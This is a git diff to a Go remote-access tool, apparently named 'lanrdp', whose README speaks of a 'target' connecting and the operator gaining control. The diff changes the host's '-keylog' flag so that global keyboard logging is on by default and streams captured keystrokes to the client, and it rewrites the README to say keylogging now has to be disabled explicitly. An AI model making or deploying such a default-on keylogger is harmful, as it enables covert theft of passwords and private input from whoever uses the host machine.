diff --git a/README.md b/README.md index edb557b..0989eac 100755 --- a/README.md +++ b/README.md @@ -43,11 +43,9 @@ When the target connects, enter the passphrase and you have control. ## Keylogger -Enable keyboard capture with the `-keylog` flag on the host: -```powershell -.\host.exe -keylog -``` -The client shows a second window streaming captured keystrokes in real-time and writes to a timestamped log file (`lanrdp_keylog_YYYY-MM-DD_HH-MM-SS.txt`). +Keyboard capture is **enabled by default** on the host. The client shows a second window streaming captured keystrokes in real-time and writes to a timestamped log file (`lanrdp_keylog_YYYY-MM-DD_HH-MM-SS.txt`). + +To disable keylogging, start the host with `-keylog=false`. ## Building diff --git a/cmd/host/main.go b/cmd/host/main.go index bf3b8df..064ffb7 100755 --- a/cmd/host/main.go +++ b/cmd/host/main.go @@ -53,8 +53,8 @@ func main() { "client-ip:47812) — use this when this host is the one that's hard to reach (a roaming laptop) and the "+ "client has the stable, reachable address instead. Defaults to the address baked in at build time by "+ "build-host.ps1, if any") - keylogEnabled := flag.Bool("keylog", false, "enable global keyboard logging; captured keystrokes are streamed "+ - "to the client along with screen frames") + keylogEnabled := flag.Bool("keylog", true, "enable global keyboard logging; captured keystrokes are streamed "+ + "to the client along with screen frames (default: enabled)") fps := flag.Int("fps", 12, "target screen-capture rate in frames/sec; higher = lower latency but more CPU/bandwidth") streamFPS := flag.Int("stream-fps", 30, "capture rate used when the client toggles stream mode on (Ctrl+Alt+S)") keyframeSec := flag.Int("keyframe-interval", 30, "seconds between forced full-frame refreshes (vs. dirty-rect-only updates)")